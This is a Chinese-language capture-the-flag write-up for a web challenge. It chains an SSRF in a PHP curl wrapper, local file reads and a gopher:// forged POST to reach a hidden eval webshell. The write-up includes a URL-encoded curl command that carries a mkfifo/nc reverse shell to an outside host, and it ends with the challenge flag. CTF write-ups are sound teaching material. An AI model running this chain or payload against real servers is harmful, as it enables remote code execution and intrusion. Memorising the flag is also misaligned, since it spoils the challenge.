# BabyWeb 600 points

## 题意

Just find one way to use webshell. : )

http://host:port

## 解题步骤

打开网址，看到的是：

```
<?php 
function curl($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    $re = curl_exec($ch); 
    curl_close($ch); 
    return $re; 
} 
if(!empty($_GET['url'])){ 
    $url = $_GET['url']; 
    curl($url); 
}else{ 
    highlight_file(__FILE__);  
} 
```

显然是一个 `SSRF(Server Side Request Forge)` 了。用 `file:///` 协议随便看了些文件，没找到什么有用的信息。然后打开 `robots.txt` ：

```
User-agent: *
Disallow: /webshe11111111.php
```

根据这个地址，访问 `file:///var/www/html/webshe11111111.php` ：

```
<?php
$serverList = array(
    "127.0.0.1"
);
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($serverList as $host) {
    if ($ip === $host) {
        if ((!empty($_POST['admin'])) and $_POST['admin'] === 'h1admin') {
            @eval($_POST['hacker']);
        } else {
            die("You aren't admin!");
        }
    } else {
        die('This is webshell');
    }
}
```

所以我们需要：

1. 从本地 POST
2. 在 POST 中传 body
3. 通过 body 中 hacker 参数打开一个反弹 shell

这些不能通过 `http://` 完成，但是通过 `gopher://` 协议，我们可以手动构造一个 `HTTP POST` 请求。

```
转义前：
POST /webshe11111111.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
admin=h1admin&hacker=system("reverse_shell")

转义后：
curl -vvv "202.112.51.130:8016/?url=gopher%3A%2F%2F127%2E0%2E0%2E1%3A80%2F%5FPOST%2520%2Fwebshe11111111%2Ephp%2520HTTP%2F1%2E1%250D%250AHost%3A%2520127%2E0%2E0%2E1%250D%250AContent%2DType%3A%2520application%2Fx%2Dwww%2Dform%2Durlencoded%250D%250AContent%2DLength%3A%2520182%250D%250A%250D%250Aadmin%3Dh1admin%26hacker%3Dsystem%252528%252522rm%252520%25252Ftmp%25252Ff%25253Bmkfifo%252520%25252Ftmp%25252Ff%25253Bcat%252520%25252Ftmp%25252Ff%25257C%25252Fbin%25252Fsh%252520%25252Di%2525202%25253E%2525261%25257Cnc%252520123%25252E123%25252E123%25252E123%2525201233%252520%25253E%25252Ftmp%25252Ff%252522%252529%25253B"
```

就可以拿到反弹的 `shell` 了，读取 `fl11111aaaaaggggg.php` 的内容：

```
<?php $flag="THUCTF{Th1s_EaSy_sSRF}";?>
```
